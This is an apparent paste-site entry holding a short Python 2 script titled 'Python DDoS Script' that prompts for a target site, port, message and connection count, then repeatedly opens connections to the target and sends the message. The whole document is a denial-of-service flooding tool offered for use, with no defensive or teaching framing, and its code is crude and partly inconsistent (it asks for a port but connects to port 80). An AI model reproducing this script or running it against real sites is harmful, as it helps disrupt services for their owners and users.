Python DDoS Script


SUBMITTED BY: Guest

DATE: May 19, 2013, 1:20 a.m.

FORMAT: Python

SIZE: 1.7 kB

HITS: 5045

  1. import time
  2. import socket
  3. import os
  4. import sys
  5. import string
  6. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  7. def restart_program():
  8. python = sys.executable
  9. os.execl(python, python, * sys.argv)
  10. curdir = os.getcwd()
  11. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  12. print ("DDoS mode loaded")
  13. host=raw_input( "Site you want to DDoS:" )
  14. port=input( "Port you want to attack:" )
  15. message=raw_input( "Input the message you want to send:" )
  16. conn=input( "How many connections you want to make:" )
  17. ip = socket.gethostbyname( host )
  18. print ("[" + ip + "]")
  19. print ( "[Ip is locked]" )
  20. print ( "[Attacking " + host + "]" )
  21. print ("+----------------------------+")
  22. def dos():
  23. #pid = os.fork()
  24. ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  25. try:
  26. ddos.connect((host, 80))
  27. ddos.send( message )
  28. ddos.sendto( message, (ip, port) )
  29. ddos.send( message );
  30. except socket.error, msg:
  31. print("|[Connection Failed] |")
  32. print ( "|[DDoS Attack Engaged] |")
  33. ddos.close()
  34. for i in range(1, conn):
  35. dos()
  36. print ("+----------------------------+")
  37. print("The connections you requested had finished")
  38. if __name__ == "__main__":
  39. answer = raw_input("Do you want to ddos more?")
  40. if answer.strip() in "y Y yes Yes YES".split():
  41. restart_program()
  42. else:
  43. os.system(curdir+"\Deq\main.py")
  44. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#

comments powered by Disqus